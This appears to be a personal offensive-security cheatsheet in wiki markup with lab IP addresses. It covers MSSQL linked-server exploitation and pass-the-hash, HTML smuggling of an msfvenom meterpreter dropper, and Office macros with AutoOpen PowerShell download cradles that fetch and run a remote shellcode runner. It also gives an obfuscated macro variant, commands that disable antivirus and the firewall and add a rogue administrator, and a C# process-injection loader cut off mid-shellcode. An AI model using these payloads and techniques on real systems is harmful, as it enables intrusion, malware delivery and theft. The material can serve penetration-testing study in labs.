&lt;br /&gt;
==== PowerUpSQL.ps1 ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#MSSQL_Trusted_Links Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/PowerUpSQL GitHub - NetSPI/PowerUpSQL: PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server]&lt;br /&gt;
&lt;br /&gt;
==== Evil SQL Client ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/ESC GitHub - NetSPI/ESC: Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features. While ESC can be a handy SQL Client for daily tasks, it was originally designed for targeting SQL Servers during penetration tests and red team engagements. The intent of the project is to provide an .exe, but also sample files for execution through mediums like msbuild and PowerShell.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First run the .exe on target machine&lt;br /&gt;
# Find domainspns&lt;br /&gt;
SQLCLIENT&amp;gt; discover domainspn&lt;br /&gt;
# Show discovered instances.&lt;br /&gt;
SQLCLIENT&amp;gt; show discovered&lt;br /&gt;
# List links information for accessoble target SQL Server instances.&lt;br /&gt;
list links&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== MSSQL Pwner (Best tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ScorpionesLabs/MSSqlPwner GitHub - ScorpionesLabs/MSSqlPwner]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# We assume we have access to appsrv01 as a non-sa account. appsrv01 have a link to DC01. The link is bidirectional. We can use that to escalate our privileges on appsrv01.&lt;br /&gt;
python3 MSSqlPwner.py corp1.com/offsec:lab@192.168.229.6 -windows-auth interactive&lt;br /&gt;
...&lt;br /&gt;
[*] Discovered server principal: APPSRV01\Administrator on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo)&lt;br /&gt;
...&lt;br /&gt;
# Pass the hash MSSQLPwner&lt;br /&gt;
MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive&lt;br /&gt;
&lt;br /&gt;
# Set link server to DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest)&amp;gt; set-link-server DC01&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
# Execute commands. MSSQL Pwner will enable xp_cmdshell automatically if the user have rights.&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# Execute commands on appsrv01 through DC01&lt;br /&gt;
# First get the chain list&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; get-chain-list&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Chain list:&lt;br /&gt;
[*] 995f1680-2ad4-4f50-8606-47312d5b5807 - APPSRV01 (CORP1\offsec@master/guest) (CORP1\offsec guest@master)&lt;br /&gt;
[*] aacabf55-4bb6-40e3-a0ce-feb406d26b1e - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] f74445c8-4fb7-4a68-86d8-9c14cfd9470a - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa&amp;gt;I:CORP1\Administrator@master/dbo) (CORP1\Administrator dbo@master)&lt;br /&gt;
[*] 9f676285-ffe4-4a97-b7b4-f4f59e128a2f - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] c7ecd747-93cf-4978-aab2-33a8864400f1 - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (APPSRV01\Administrator dbo@master)&lt;br /&gt;
&lt;br /&gt;
# Set the chain by using the chain ID and execute a command&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; set-chain c7ecd747-93cf-4978-aab2-33a8864400f1&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# To get a shell on appsrv01 through DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec &amp;quot;powershell.exe -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&amp;quot;&lt;br /&gt;
# The encoded powershell command&lt;br /&gt;
$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
# run.txt is a powershell shellcode runner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-9.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
--------------------------&lt;br /&gt;
# From GitHub&lt;br /&gt;
# Interactive mode&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth interactive&lt;br /&gt;
# Interactive mode with 2 depth level of impersonations&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth  -max-impersonation-depth 2 interactive&lt;br /&gt;
&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec &amp;quot;cmd /c mshta http://192.168.45.250/malicious.hta&amp;quot; -command-execution-method sp_oacreate&lt;br /&gt;
# Issuing NTLM relay attack on the SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on the local server with custom command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250&lt;br /&gt;
# Executing direct query&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth direct-query &amp;quot;SELECT CURRENT_USER&amp;quot;&lt;br /&gt;
# Retrieving password from the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password&lt;br /&gt;
# Execute code using custom assembly on the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll&lt;br /&gt;
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using tickets against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt&lt;br /&gt;
# Bruteforce using passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== [https://github.com/dadevel/mssql-spider mssql-spider] (Great tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dadevel/mssql-spider dadevel/mssql-spider: Automated exploitation of MSSQL servers at scale (github.com)]&lt;br /&gt;
&lt;br /&gt;
This tool is kinda similar to mssqlpwner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Authentication&lt;br /&gt;
# As local database user.&lt;br /&gt;
mssql-spider -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As local windows user.&lt;br /&gt;
mssql-spider -w -u administrator -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM and a password.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM Pass the Hash.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Overpass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -k -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Pass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -a c4c283276339e2d6b390eb5a11d419c9 -k -t db01.corp.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Phishing (Client side code exec) ==&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if MS word is running 64-bit or 32-bit&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== BobTheSmuggler ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/TheCyb3rAlpha/BobTheSmuggler?tab=readme-ov-file TheCyb3rAlpha/BobTheSmuggler: &amp;quot;Bob the Smuggler&amp;quot;: A tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archive and then hides inside PNG/GIF image file format (Image Polyglots). (github.com)]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&amp;quot;Bob the Smuggler&amp;quot;&#039;&#039;&#039; is a tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archieve and then hides inside PNG/GIF image file format (Image Polyglots). The JavaScript embedded within the HTML will download the PNG/GIF file and store it in the cache. Following this, the JavaScript will extract the data embedded in the PNG/GIF, assemble it, perform XOR decryption, and then store it as an in-memory blob.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you want to compress SharpHound.exe into 7z format (password protected) and store it in a HTML file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html&lt;br /&gt;
# To create an HTML file with the embedded payload hidden inside PNG file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t png test.png&lt;br /&gt;
# Embed payload inside GIF File:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t gif test.gif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Zip Sharphound and use OneDrive template.&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Microsoft_Word https://blog.aghanim.net/?page_id=1809#Microsoft_Word]&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Persistence/ Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?page_id=2703#Linux_Post_Explotation CheatSheet II – Advanced – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Disable Anti-virus&lt;br /&gt;
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true&lt;br /&gt;
# Disable firewall&lt;br /&gt;
NetSh Advfirewall set allprofiles state off&lt;br /&gt;
# Enable RDP&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Terminal Server&amp;quot; -name &amp;quot;fDenyTSConnections&amp;quot; -value 0&lt;br /&gt;
&lt;br /&gt;
# Disable restricted mode in order to PTH as authentication on RDP&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Create a new user&lt;br /&gt;
net user username password /ADD&lt;br /&gt;
# This will add the new user to the RDP group and local administratos group&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; username /add&lt;br /&gt;
net localgroup &amp;quot;Administrators&amp;quot; username /add&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PowerShell in VBA ==&lt;br /&gt;
&lt;br /&gt;
=== Download cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim strArg As String&lt;br /&gt;
	strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object&lt;br /&gt;
system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
	Shell strArg, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WMI: Unlinking PowerShell from Office ===&lt;br /&gt;
&lt;br /&gt;
Use WMI from VBA to create a PowerShell process instead of having it as a child process of Microsoft Word.&lt;br /&gt;
&lt;br /&gt;
Remember that since this is NOT ran as a child process of MS word, the PowerShell will open in 64-bit!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro&lt;br /&gt;
   strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
   GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Obfuscated version of WMI ===&lt;br /&gt;
&lt;br /&gt;
* First we&#039;ll convert the strings using &#039;&#039;ToCharArray. &#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* The code below takes the string inside the $payload and encrypt it. So the string (powershell -exec …) is encrypted, not the content of run.txt).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$payload = &amp;quot;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
[string]$output = &amp;quot;&amp;quot;&lt;br /&gt;
$payload.ToCharArray() | %{&lt;br /&gt;
    [string]$thischar = [byte][char]$_ + 17&lt;br /&gt;
    if($thischar.Length -eq 1)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;00&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 2)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;0&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 3)&lt;br /&gt;
    {&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$output | clip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below is the decryption routine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* So combined together with &amp;lt;code&amp;gt;Unlinking Powershell from Word&amp;lt;/code&amp;gt; code above, we will get this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
    Dim Apples As String&lt;br /&gt;
    Dim Water As String&lt;br /&gt;
    &#039;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&lt;br /&gt;
    Apples = &amp;quot;129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063066063066067071064131134127063129132066056058058&amp;quot;&lt;br /&gt;
    Water = Nuts(Apples)&lt;br /&gt;
&#039; GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
            GetObject(Nuts(&amp;quot;136122127126120126133132075&amp;quot;)).Get(Nuts(&amp;quot;104122127068067112097131128116118132132&amp;quot;)).Create Water, Tea, Coffee, Napkin&lt;br /&gt;
End Function&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Injection ==&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Obtain a handle to the target process. Remeber to change the process ID(4804)&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[591]&lt;br /&gt;
            {&lt;br /&gt;
